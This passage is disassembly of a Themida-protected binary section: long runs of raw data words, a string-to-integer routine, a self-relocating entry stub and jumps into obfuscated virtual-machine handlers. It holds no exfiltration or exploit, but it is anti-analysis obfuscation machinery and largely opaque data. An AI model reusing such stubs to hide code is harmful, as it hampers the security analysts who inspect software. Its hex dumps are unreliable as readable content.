		dd 2, 0C89FE8Ah, 11810F24h, 0E9000000h,	0Ch, 9095AF34h
		dd 0D754DBF6h, 334F45B5h, 38DA858Dh, 9D89060Ah,	6073075h
		dd 6E9D0FFh, 57000000h,	5A35CC5Ah, 204F8B22h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6EC35646h, 32FE5A59h
		dd 28BA662Dh, 29036AD6h, 7104185h, 860F5006h, 2, 0C89DA8Ah
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 32E7C19Dh, 8B6694BCh, 0D38166D9h, 858DDB30h
		dd 60A38DAh, 16BDBD29h,	4EB60607h, 0FB6D0FFh, 24C9BD8Dh
		dd 11E90607h, 73000000h, 5DBA25A2h, 794C30E8h, 6EF24B6Dh
		dd 0CB43B9E2h, 0B61C4F8Bh, 0D2816649h, 16A4803h, 0D18B6650h
		dd 66240C89h, 858DD38Bh, 60A38DAh, 0FFD98B66h, 21BD89D0h
		dd 66060716h, 0F057E381h, 8B204F8Bh, 71E2995h, 16BA6606h
		dd 6A036ABCh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0DD00C353h, 4D3A13B7h,	0FF85442h
		dd 168Ch, 0FE800h, 0F3380000h, 0F10547BCh, 76BAF48Ah, 5CF297Fh
		dd 915BF889h, 2F49BA50h, 66911C11h, 0F680D08Bh,	0DA858DDDh
		dd 66060A38h, 0D0FFD98Bh, 3DF38166h, 2BCF8076h,	4D8D8D8Bh
		dd 958B0607h, 6070589h,	0BBB01FEh, 8B2EA32Fh, 74D8D85h
		dd 0D8BF0F06h, 958B00FEh, 6071225h, 9D29016Ah, 607301Dh
		dd 1D07E68h, 81D7B3BBh,	0CF812404h, 6A44FDh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0BAE428C3h
		dd 8DA86946h, 0A38E485h, 0E2BB6606h, 0FD0FFD2h,	686h, 29958900h
		dd 8306072Ch, 72541BDh,	840F0006h, 117h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0B4C35545h, 13E8h
		dd 33A2E900h, 5C3247E3h, 22874439h, 0EF47EA2h, 2B4F4DC9h
		dd 0AE8h, 0B81B100h, 0B33BDE09h, 81F65FF8h, 8EC32BD3h
		dd 535A5A66h, 835A65B2h, 7218DBDh, 850F0106h, 0BBh, 40EB8157h
		dd 5B091E2Ah, 38EE8D8Dh, 9D8B060Ah, 607211Dh, 0BD89036Ah
		dd 6070D1Dh, 8E0F016Ah,	2, 0D1FF9DB3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0D5C35646h,	2647C710h, 62F4B281h
		dd 1751958Bh, 16A0607h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 32C35242h, 0DCCEEB47h, 1CD38050h, 50016A5Ah
		dd 30F0BA66h, 6AD1FF5Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5B4EC351h, 611F01DFh
		dd 0A4DB8166h, 715EE8F2h, 8E9FA54h, 43000000h, 4B4339B5h
		dd 6AE807F8h, 0D3B70F20h, 0BB66FF6Ah, 95FF5E76h, 6072069h
		dd 0B8D68Bh, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0F8D8C357h,	0C00BF60Ah
		dd 44840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 0E7A33AC3h, 0CDBA6634h, 0C1BD8361h
		dd 60704h, 14840Fh, 85890000h, 6071E7Dh, 8787EBAh, 9995FF76h
		dd 8006072Ch, 858BE9F2h, 60706DDh, 5E9D38Bh, 3000000h
		dd 2E27530Bh, 0E90000C6h, 0Ah, 0DEF66D92h, 20980B8Ah, 8B584426h
		dd 7200195h, 0D98C6606h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 99C35141h, 0A979D0CDh, 15398D89h, 0C1F60607h
		dd 51840F04h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0BDFAC351h,	0DF80138Dh
		dd 2AE92Ch, 0D08B0000h,	2FBDB58Bh, 0BA660607h, 0C6813D25h
		dd 1180h, 381958Bh, 6C70607h, 0
		dd 7E9h, 891A4300h, 5E1C31F9h, 57006A5Eh, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 852963ABh
		dd 6071E39h, 30C59D89h,	6E80607h, 68000000h, 0A41A8445h
		dd 0DF8B6695h, 0F8835Bh, 0AAC840Fh, 9D8B0000h, 6071F75h
		dd 0F01F883h, 14E85h, 0B8F500h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F25AC353h
		dd 0FBD38166h, 0FC00BF2h, 0E984h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8AEE0355h
		dd 1F883D8h, 0D5840Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0BE7DF4C3h, 2810F94h
		dd 8B000000h, 3F883DEh,	4B840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 43C7CCC3h
		dd 18899BF9h, 54BBBE0Ch, 2B27F228h, 0F19589C0h,	8D06070Fh
		dd 5B89E0BDh, 0CD9D2900h, 0FF060721h, 859D8BE7h, 81060719h
		dd 3D6E04CBh, 1B81Dh, 0B5890000h, 6072199h, 89E0BD8Dh
		dd 9D33005Bh, 6071D9Dh,	6AE7FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 996A30C3h, 0DACB5E37h
		dd 0F2B20297h, 12998509h, 0BD8D0607h, 6074419h,	8800BA66h
		dd 233E9h, 0ED858900h, 0C706072Dh, 74DE885h, 506h, 8AFD8A00h
		dd 5B8F8h, 0DE8B0000h, 8C6E9h, 5BD8900h, 83060700h, 850F02F8h
		dd 10Fh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 17h,	9EC35040h, 0B8FD7BE8h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B8C35747h
		dd 8D315760h, 60730D1h,	0D2E98158h, 612F2809h, 840FC00Bh
		dd 82h,	15F98D01h, 0F8830607h, 70840F01h, 89FFFFFFh, 7273995h
		dd 3F88306h, 0FF07840Fh, 6AFFFFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 67A03DC3h, 133C007Ah
		dd 8E929h, 16180000h, 0A83F9EEAh, 0C02BD9AAh, 13E9F9h
		dd 13C0000h, 546BA3DEh,	5E23D927h, 3CA6AADFh, 2D222859h
		dd 0E0BD8DADh, 0BB005B89h, 13DB4B8Fh, 7659D8Bh,	0E7FF0607h
		dd 1421BD31h, 0BD8D0607h, 6074611h, 11FE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 17E2D406h, 3AC00ECDh, 4D8D897Ch, 83060708h, 850F03F8h
		dd 13h,	1DA19D8Bh, 0BD8D0607h, 60747A5h, 0DBE9h, 83F38A00h
		dd 850F05F8h, 35h, 6870F60h, 81000000h,	6CAFDAD7h, 0D9858B5Ah
		dd 6106071Eh, 0BAD8D29h, 64E90607h, 0F000007h, 0A8Eh, 5E900h
		dd 66D90000h, 2932F55Ah, 701F99Dh, 6F88306h, 1D850Fh, 0B5890000h
		dd 6070071h, 499DBD8Dh,	2CB20607h, 7FE9h, 5E900h, 0F37F0000h
		dd 83061455h, 850F07F8h, 39h, 1771BD8Dh, 6A0607h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0E18F54C3h, 72E8CFD6h, 7D8D018Eh, 0E9060710h, 0A7h
		dd 0B4CCDCBAh, 0AF88360h, 2A850Fh, 0B5010000h, 6070A71h
		dd 95BD8DFCh, 6606074Bh, 15E9D78Bh, 0E9000000h,	0Bh, 7CAD41E2h
		dd 662F0691h, 669522C0h, 42AEEB81h, 51006A57h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0B16FB8D4h
		dd 0B99F726Bh, 0C528D0Eh, 8A6BEE80h, 3F83F1h, 38840Fh
		dd 31560000h, 7306595h,	0F305A06h, 0CDCA8166h, 66C9D1ACh
		dd 47F7ADBAh, 1AE99D8Bh, 0D6E90607h, 56FFFFFFh,	10E9h
		dd 0D4499600h, 564D06CFh, 16058BCh, 4582BF1Ah, 895F5B56h
		dd 74D91BDh, 9E906h, 8B5C0000h,	0EB86F72Bh, 8DC8D1DFh
		dd 72AE18Dh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0CEEDE3E1h, 947854EEh, 66B75675h
		dd 0D1B5FF5Bh, 6A060707h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F60C352h, 88Eh, 0D3815700h
		dd 73A79788h, 76858D5Bh, 500609A6h, 5505BD8Dh, 8D8D0607h
		dd 6076B0Dh, 831ABCB8h,	30CF2B54h, 47C8D007h, 8DF87549h
		dd 76A80B5h, 258D8D06h,	2B06076Bh, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 60704C1h, 0FF067400h, 72C9995h, 91B58B06h
		dd 8D06074Dh, 9A67685h,	8DD0FF06h, 743A585h, 0C7D0FF06h
		dd 70DB585h, 106h, 99A58B00h, 8B060708h, 701C9B5h, 71AD8B06h
		dd 33060708h, 0CC2C0h, 89D08B66h, 71D0995h, 0B9BD8306h
		dd 6071Ch, 13840Fh, 0BB660000h,	95FF1AF8h, 6070541h, 8BD78B66h
		dd 71ED99Dh, 6DBD8306h,	60712h,	188850Fh, 66600000h, 0CAB9FB8Bh
		dd 610C95ABh, 472D2BAh,	8DBD8366h, 1060721h, 16C850Fh
		dd 7E80000h, 54000000h,	1E9EBB5Ch, 0D88B1EF5h, 8DBD835Bh
		dd 6070Bh, 150840Fh, 0EA800000h, 0E4BD830Dh, 6074Dh, 140840Fh
		dd 85890000h, 607005Dh,	0A676858Dh, 9D8B0609h, 60702B1h
		dd 4D91B58Bh, 9D8B0607h, 6072041h, 9D23D0FFh, 6070A7Dh
		dd 2C0585C6h, 6A540607h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0CD8C351h, 0A4240CFEh
		dd 1B518589h, 0D7680607h, 0FF7BB0Dh, 0B88h, 5820F00h, 0BA000000h
		dd 79EA30A0h, 1D240481h, 6A0793B1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 90C351h
		dd 0B5FF5672h, 6071B2Dh, 5360D08Ah, 0D3BF0F5Eh,	24858D61h
		dd 0F06073Bh, 0D0FFD1B7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0E1C35040h, 5FB72623h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 4793E4C3h, 0B6C70962h, 51248029h, 12E8h, 73160300h
		dd 24FB8B0Ch, 0ADC246E5h, 66C33FBFh, 808DB49Ch,	5B5B8ECFh
		dd 9D33FF6Ah, 6072889h,	0DE8D0FFh, 0A7000000h, 0C4542A8Ah
		dd 610727E2h, 775DC38Ch, 0FF5BD18Bh, 721FDB5h, 95FFF506h
		dd 60707D1h, 5E59D8Bh, 0B58B0607h, 6074D91h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 95C35141h, 61D2D080h
		dd 81FEAEF1h, 0F45769C3h, 0BA66C301h, 0B58B33ABh, 60706DDh
		dd 6870Fh, 95890000h, 607098Dh,	0F60BDE8Ah, 0B840Fh, 8D890000h
		dd 6071AADh, 8A0006C6h,	998589FAh, 8906074Dh, 714D195h
		dd 0F88306h, 3B0840Fh, 0E9520000h, 11h,	49245FF6h, 0A4CCBB3Ah
		dd 302DB757h, 5865E95Bh, 0B85B13h, 60000000h, 1CF1B589h
		dd 81600607h, 0BF1D0CD3h, 8E0F36h, 61000000h, 0F88361h
		dd 0F5840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0EE8BBC3h, 24000000h, 0BAE51063h
		dd 43E30F1Dh, 0D19BA1F5h, 419D894Ch, 5A060732h,	0F02F883h
		dd 7E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 729F2589h, 0F14E2ABh, 68Eh, 699D8900h
		dd 8D06072Ah, 7441485h,	41BD8906h, 2D060714h, 929h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C2C35747h, 5A457ED5h
		dd 0C56F2C92h, 6690F98Ah, 50960EBBh, 0DA8B6656h, 952B905Ah
		dd 60715A5h, 298589C3h,	0B8060717h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h
		dd 0E47FDBEFh, 958BB3B3h, 6071B95h, 285E9h, 0EA8100h, 0B851BB34h
		dd 1, 8DDBBF0Fh, 74419BDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9523AB96h
		dd 6071F19h, 0F8E9h, 7E900h, 0C4BC0000h, 3B6A1A0Ah, 0FE8EFh
		dd 0EE440000h, 0C135BD32h, 9D2AADCFh, 7251EB30h, 71958B1Dh
		dd 5B060712h, 0F02F883h, 4785h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 2318468Bh
		dd 3175B589h, 0BD8D0607h, 6074611h, 96E953B6h, 60000000h
		dd 0A1D8589h, 8E90607h,	71000000h, 0E94995EEh, 61ADCA6Bh
		dd 0F03F883h, 3685h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 3A336AEh, 8DE0D780h, 747A5BDh
		dd 599D8B06h, 0E9060722h, 45h, 83D1B70Fh, 850F05F8h, 39h
		dd 14E8h, 67713A00h, 45D2EC75h,	8A6FE66h, 0DA5603BDh, 8FCFD3B4h
		dd 0E0A8BB32h, 0E95B28EAh, 0D7h, 10E9h,	4AE34800h, 5757C467h
		dd 15BBA910h, 0CD4D0743h, 958B57BCh, 60707A1h, 14E8h, 0BC5CC700h
		dd 0B7EA599Eh, 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 29C28105h
		dd 5B6CFCA7h, 528D0EB9h, 56006A0Ch, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 4AC79DABh, 648DF453h
		dd 9D8B90DFh, 6072791h,	8BD3B70Fh, 7175195h, 3F8306h, 59840Fh
		dd 958B0000h, 6070865h,	0DE9h, 699AFA00h, 11B98074h, 0C84370Fh
		dd 0F30B8CAh, 6676D280h, 0C9D1D68Bh, 20119D23h,	6A470607h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5CD1C356h, 8D293286h, 607066Dh, 0FFFFA4E9h
		dd 959509FFh, 8306070Ch, 850F05F8h, 86h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 15C35040h, 3DC52935h
		dd 4133086Ch, 4D9D8B0Ch, 6606072Eh, 0C381D98Ch,	72B5E25Eh
		dd 0F04C1F6h, 3885h, 0B800h, 85890000h,	6072729h, 39E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 6F27BAA7h, 8BD87DD6h, 70C299Dh, 55858B06h
		dd 0F06072Dh, 0E0FFDFB7h, 1D11958Bh, 0BD830607h, 60707D1h
		dd 0AC850F00h, 29000000h, 72C8185h, 51605006h, 615ED68Bh
		dd 0E8240489h, 6, 0B0F705C5h, 0DB81BF37h, 0F0BAF9Dh, 585C65Ah
		dd 4506072Ch, 0E80DC281h, 0C3684F3Fh, 665C4195h, 481D78Bh
		dd 30D3A624h, 0FFBAB632h, 71B2DB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 24858D64h
		dd 8B06073Bh, 7106D9Dh,	31D0FF06h, 70821B5h, 0D1858906h
		dd 56060707h, 585BD68Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0E1C35242h, 2AB0F418h, 34C72722h, 0D19D017Fh
		dd 8306072Ch, 74DE8BDh,	840F0006h, 31h,	21F19531h, 0B5FF0607h
		dd 60721FDh, 95FFF48Ah,	60707D1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 8CC35040h, 0F88323h, 0E4850Fh
		dd 0D58A0000h, 2561BD83h, 0F000607h, 7084h, 81958B00h
		dd 89060713h, 7221595h,	61B5FF06h, 6A060725h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 57F7C353h, 0D9402530h, 5D958B26h, 66060706h,	0B8205EBBh
		dd 1, 80EB8166h, 21FE99Bh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0CBD7FAC3h
		dd 3DB1494Dh, 0FDB5FF20h, 0BB060721h, 723F78FCh, 21FDB5FFh
		dd 0AE90607h, 0A3000000h, 8EF9DC28h, 0BB7CCFAAh, 6810FFEh
		dd 89000000h, 71AD1BDh,	0D1B5FF06h, 89060707h, 7288985h
		dd 1BFE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0B48AB1C3h, 4B35BF03h, 12A1958Bh
		dd 6A5F0607h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E9E6C350h, 6,	8B2E75D9h, 0DD8AEEADh
		dd 1BB9BD83h, 0F000607h, 8485h,	819D8B00h, 0C6060708h
		dd 72C0585h, 9E94D06h, 36000000h, 2B2BBFB9h, 792C8457h
		dd 3D49CA68h, 63B4604Fh, 3780B866h, 24048161h, 54F82CDEh
		dd 0C89B589h, 0B5FF0607h, 6071B01h, 3E3EBA50h, 8D5B58D3h
		dd 73B2485h, 0C870F06h,	0F000000h, 68Dh, 0E58D3100h, 0FF06071Eh
		dd 11E9D0h, 4BDD0000h, 68618B02h, 0D1A0F775h, 6B760E8Bh
		dd 89A05699h, 71BB985h,	68F0F06h, 8B000000h, 7134D9Dh
		dd 0B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0E160F8C3h, 0C768901h, 0EE8BDDCh
		dd 51000000h, 8975F290h, 5C556B62h, 0E9D90D6Ah,	0E8C3819Bh
		dd 5B56BAF8h, 4D91BD89h, 0B70F0607h, 0BCDF80D8h, 840FC00Bh
		dd 16h,	0DC12CCBBh, 7BE944h, 8D0F0000h,	6, 0FC99D8Bh, 0B5FF0607h
		dd 60707D1h, 6E8h, 0B2652B00h, 9FC4550h, 72729BDh, 0F48A5A06h
		dd 0A676858Dh, 8E80609h, 3A000000h, 494B9DDh, 0E80252D9h
		dd 13h,	0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh
		dd 292F43BDh, 709B58Dh,	505B5B06h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0D565C350h, 8D565087h, 75505BDh, 0E48D8D06h,	0B8060774h
		dd 748323BCh, 730CF2Bh,	4947C8D0h, 585EF875h, 2561BD83h
		dd 74000607h, 558D8B06h, 3306071Fh, 0B8C9h, 0C00B0000h
		dd 0A8840Fh, 0BD830000h, 60704C1h, 0FF067400h, 72C9995h
		dd 0B806h, 0C00B0000h, 0BD830975h, 6074D99h, 83097401h
		dd 74D99BDh, 0E750206h,	4D91B58Bh, 858D0607h, 609A676h
		dd 0BD83D0FFh, 6071CB9h, 0FF067400h, 7054195h, 0A5858D06h
		dd 0FF060743h, 0A1BD83D0h, 2060710h, 0A58B2F75h, 6070899h
		dd 2561858Bh, 4890607h,	0B585C724h, 106070Dh, 8B000000h
		dd 74D95B5h, 71AD8B06h,	0B8060708h, 1, 0EB000CC2h, 0B585C700h
		dd 106070Dh, 8B000000h,	70899A5h, 0C9B58B06h, 8B060701h
		dd 70871ADh, 0C2C03306h, 0BD83000Ch, 6071CB9h, 830F7400h
		dd 70541BDh, 6740006h, 54195FFh, 0B58B0607h, 6074D91h
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0EE4AF898h, 0BD29D258h, 6073141h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2CC35545h, 0F0634425h
		dd 0BBF824CAh, 3A41B99h, 0BAh, 178C0F00h, 0F000000h, 1180h
		dd 0BE800h, 0BE8C0000h,	54F75995h, 0B53EFD3h
		db 83h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_4FEB62
; ---------------------------------------------------------------------------


loc_4FEB60:				; CODE XREF: Themida_:004FEB65j
		inc	eax
		inc	edi


loc_4FEB62:				; CODE XREF: Themida_:004FEB5Ej
		cmp	byte ptr [edi],	0
		jnz	short loc_4FEB60
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_4FEB91
; ---------------------------------------------------------------------------


loc_4FEB6E:				; CODE XREF: Themida_:004FEB93j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_4FEB86
; ---------------------------------------------------------------------------


loc_4FEB83:				; CODE XREF: Themida_:004FEB89j
		mul	ebx
		dec	esi


loc_4FEB86:				; CODE XREF: Themida_:004FEB81j
		cmp	esi, 0
		ja	short loc_4FEB83
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_4FEB91:				; CODE XREF: Themida_:004FEB6Cj
		or	eax, eax
		jnz	short loc_4FEB6E
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0D8Dh, 8E900h, 473F0000h, 0A9C5DD6Eh, 6AF706h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0FD2A8DC3h, 0CA4B8516h, 85896A8Dh, 60700E5h,	0ADE9C18Bh
		dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
		dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
		dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
		dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
		dd 46168A00h, 0C013D212h, 850FD202h, 5,	1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 23B9E900h
		dd 5CCA0002h, 57h, 0FF6C0000h, 5CCA0012h, 3F0057h, 40120256h
		dd 280057h, 2020256h, 20000h, 10000h, 30000h, 750E0000h
		dd 0FA48h, 4 dup(0)
		dd 4990000h, 0F480050h,	38610050h, 0F43D0050h, 926F004Fh
		dd 1B770050h, 53460050h, 45F30050h, 0C180050h, 32A50050h
		dd 6E850050h, 7D0C0050h, 669D0050h, 32BE0050h, 50820050h
		dd 0F3B80050h, 2908004Fh, 418B0050h, 0A2510050h, 71230050h
		dd 95120050h, 52B90050h, 207F0050h, 0EBA0050h, 1D080050h
		dd 760D0050h, 0F8CA0050h, 7B25004Fh, 0E710050h,	0FED0050h
		dd 53F90050h, 0A6230050h, 81D20050h, 945C0050h,	266B0050h
		dd 72A00050h, 12770050h, 0FA040050h, 54C2004Fh,	797A0050h
		dd 0FAA30050h, 4A0C004Fh, 670A0050h, 3D440050h,	2A080050h
		dd 0A35F0050h, 9D780050h, 84250050h, 88110050h,	792D0050h
		dd 26AC0050h, 93F30050h, 6A8C0050h, 9E410050h, 951F0050h
		dd 42AC0050h, 0A7B60050h, 3F530050h, 94ED0050h,	49280050h
		dd 823D0050h, 675A0050h, 7D960050h, 6CEC0050h, 2B450050h
		dd 0A4750050h, 79900050h, 69620050h, 2B60050h, 0F9360050h
		dd 3036004Fh, 72A90050h, 7A830050h, 0FF470050h,	87B4004Fh
		dd 11270050h, 110B0050h, 3C2A0050h, 0F1CB0050h,	0FAC2004Fh
		dd 83BB004Fh, 0F14A0050h, 55B2004Fh, 4C6F0050h,	8FD0050h
		dd 6CCD0050h, 272C0050h, 85550050h, 63B70050h, 0F6B20050h
		dd 1833004Fh, 0FD4E0050h, 7DBA004Fh, 95520050h,	573F0050h
		dd 84710050h, 0F4FC0050h, 4D36004Fh, 9F80050h, 8D020050h
		dd 63D40050h, 62680050h, 5C4F0050h, 2BC00050h, 97FF0050h
		dd 9E6D0050h, 0F30D0050h, 849D004Fh, 4B940050h,	4A980050h
		dd 3A1D0050h, 830A0050h, 4ECB0050h, 620B0050h, 1EED0050h
		dd 0A32B0050h, 43E70050h, 1B060050h, 8C800050h,	30680050h
		dd 31CD0050h, 7C0B0050h, 34A00050h, 3F6C0050h, 5C900050h
		dd 98FD0050h, 86460050h, 0AA650050h, 2A7B0050h,	20F70050h
		dd 85CE0050h, 2BE0050h,	38B30050h, 57000050h, 941E0050h
		dd 0F31C0050h, 0A4B1004Fh, 931F0050h, 77DA0050h, 103B0050h
		dd 32510050h, 63860050h, 827E0050h, 76420050h, 213F0050h
		dd 0AD560050h, 8FBC0050h, 5750050h, 94480050h, 0A7350050h
		dd 17970050h, 68FE0050h, 4CE80050h, 33EA0050h, 0FC4A0050h
		dd 85C004Fh, 130C0050h,	97120050h, 9FAB0050h, 91DA0050h
		dd 0AEF80050h, 23810050h, 96D60050h, 871D0050h,	607F0050h
		dd 0FEDD0050h, 0A554004Fh
		db 50h,	0
; ---------------------------------------------------------------------------


loc_4FF07A:				; CODE XREF: Themida_:00531859j
					; Themida_:00543155j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6077B74h
		mov	eax, edi
		add	edi, 607788Ch
		cmp	eax, [edi+2Ch]
		jnz	short loc_4FF098
		jmp	short loc_4FF0AB
; ---------------------------------------------------------------------------


loc_4FF098:				; CODE XREF: Themida_:004FF094j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_4FF0A7
; ---------------------------------------------------------------------------


loc_4FF0A2:				; CODE XREF: Themida_:004FF0A9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_4FF0A7:				; CODE XREF: Themida_:004FF0A0j
		or	ecx, ecx
		jnz	short loc_4FF0A2


loc_4FF0AB:				; CODE XREF: Themida_:004FF096j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_4FF0B8:				; CODE XREF: Themida_:004FF0BFj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_4FF0B8


loc_4FF0C1:				; CODE XREF: Themida_:0050012Aj
					; Themida_:00500C38j ...
		lodsb
		jmp	loc_507107
; ---------------------------------------------------------------------------
		db 81h
		dd 6BA86F5h, 4AC78100h,	817A3D6Bh, 0D61A16EFh, 81EF0160h
		dd 0D61A16C7h, 4AEF8160h, 5D7A3D6Bh, 2B850h, 0EF810000h
		dd 28B86406h, 0C781C701h, 28B86406h, 333E958h, 0FF520000h
		dd 5A042474h, 5C24048Fh, 24048B66h, 5B2868h, 241C8900h
		dd 3C3FE9h, 0E9F2B300h,	385Fh, 3D08E953h, 0E9570000h, 7043h
; ---------------------------------------------------------------------------


loc_4FF130:				; CODE XREF: Themida_:00506D02j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5004FC
; ---------------------------------------------------------------------------


loc_4FF13E:				; CODE XREF: Themida_:00507CCFj
		xchg	eax, [esp]
